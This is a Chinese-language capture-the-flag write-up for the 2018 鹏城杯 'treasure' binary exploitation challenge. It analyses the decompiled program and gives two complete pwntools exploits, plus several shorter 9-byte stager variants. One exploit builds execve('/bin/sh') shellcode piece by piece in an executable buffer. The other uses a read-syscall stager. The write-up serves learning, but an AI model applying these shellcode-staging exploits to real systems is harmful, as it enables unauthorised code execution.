鹏城杯_2018_treasure 好玩啊好玩
1 2 3 4 5 6 7 8 9 10 $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/好靶场/pwn' Arch: amd64-64 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 ) Stripped: No $ file pwn pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV) , dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2 c4290d9d42f57413374e2c8a0d440a842ddace8, not stripped
64位,NX开,Partial RELRO
1 2 3 4 5 6 int __fastcall main (int argc, const char argv, const char envp) { settreasure(argc, argv, envp); treasure(); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void *__fastcall settreasure (int argc, const char argv, const char envp) { unsigned int seed; int v5; sea = (__int64)mmap(0 , 0x1000u , 3 , 34 , -1 , 0 ); code = mmap(0 , 0x1000u , 3 , 34 , -1 , 0 ); seed = time(0 ); srand(seed); v5 = rand() % 900 ; memcpy ((void *)(sea + v5), "TREASURE" , 8u ); memcpy ((void *)(sea + v5), &shellcode, 0x26u ); return memset (&shellcode, 0 , 0x25u ); }
settreasure这个函数就是唬人的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 __int64 treasure () { __int64 n_n_; puts ("Do you want my treasure? Find them yourself! It's shellcode!\n" ); fflush(stdout ); make_code_executable(code, 10 ); while ( 1 ) { printf ("will you continue?(enter 'n' to quit) :" ); fflush(stdout ); read(0 , code, 1u ); n_n_ = *(unsigned __int8 *)code; if ( (_BYTE)n_n_ == 'n' ) break ; getchar(); printf ("start!!!!" ); fflush(stdout ); getsn((char *)code + 1 , 9 ); if ( !*((_BYTE *)code + 10 ) ) memcpy ((char *)code + 10 , &src_, sizeof (char )); ret = ((__int64 (__fastcall *)(_QWORD))((char *)code + 1 ))((unsigned int )ret); } return n_n_; }
检测code第一个字节是不是n,是n则退出。读取接下来9字节,并存储,最后自动附上ret。我们先来动调一下:
我这里敲了回车,rax指向并存入了一块可读可写可执行的区域
然后可以循环执行,查看栈上信息,发现他的的确确写上去了
法一: 参考/优化:BUUCTF_鹏城杯_2018_treasure - ZikH26 - 博客园
这里我们有第一个办法,每次只能写入9字节,所以把64位shellcode拆成很多份,每次传入9字节以内的shellcode,最后跳转执行。发现rdx指向的是那个rwx的地址,所以用
1 2 3 push shellcode_gadget (每次1 个字节) pop rdx+0x20 (这里给一点偏移量,在rwx的区间即可,每次循环向后移1 字节即可) ret
1 2 3 4 5 6 7 8 9 10 11 12 13 shellcode = asm( '''xor esi, esi push rsi mov rbx, 0x68732f2f6e69622f push rbx push rsp pop rdi push 59 pop rax cdq syscall''' )
Online x86 and x64 Intel Instruction Assembler
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *context(arch='amd64' ,os = 'linux' , log_level = 'debug' ) p = process(r'/mnt/hgfs/E/CTF/pwn学习/好靶场/pwn' ) p.sendlineafter("will you continue?(enter 'n' to quit) :" ,b'd' ) asm_code = asm(''' push 0x31 pop qword ptr [rdx+0x20] ret ''' )p.sendafter('start!!!!' ,asm_code) shellcode = b"\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\x6A\x3B\x58\x99\x0F\x05" for i, byte_val in enumerate (shellcode): hex_byte = hex (byte_val) asm_code = asm(f''' push {hex_byte} pop [rdx+{i+0x21 } ] ret ''' ) p.sendlineafter("will you continue?(enter 'n' to quit) :" ,b'd' ) p.sendafter('start!!!!' ,asm_code) asm_code = asm(f''' add rdx,0x20 jmp rdx ''' )p.sendlineafter("will you continue?(enter 'n' to quit) :" ,b'd' ) p.sendafter('start!!!!' ,asm_code) p.interactive()
法二 这里引入一个汇编:xchg,即交换两个寄存器的值
1 2 3 4 rax = 0 rdx = code+1 rsi = 0x400c2a 指向ret rdi = 0
此时如果说把rsi和rdx两个值交换,之后syscall(rax此时是0,不就是read的系统调用吗)
1 2 3 4 5 6 ssize_t read(int fd, void * buf, size_t count); read(rdi, rsi, rdx) rdx = 0x400c2a 指向ret rsi = code+1 rdi = 0 read(0 , 0x7f40cde4a001 , 0x400c2a )
就可以读取写入的shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) p = process(r'/mnt/hgfs/E/CTF/pwn学习/好靶场/pwn' ) p.sendlineafter("will you continue?(enter 'n' to quit) :" , b'y' ) stage1 = asm(''' xchg rdx, rsi syscall ret ''' )p.sendafter('start!!!!' , stage1) p.sendline(b'a' *5 + asm(shellcraft.execve("/bin/sh" ))) p.interactive()
1 2 3 4 xchg rdx, rsi syscall call rsi
把上述信息搞懂之后就可以用各种花里胡哨的东西了,只要不超过9字节:
1 2 3 4 5 mov rsi,rdx push 100 pop rdx syscall ret
1 2 3 4 5 6 push rdx pop rsi push 100 pop rdx syscall ret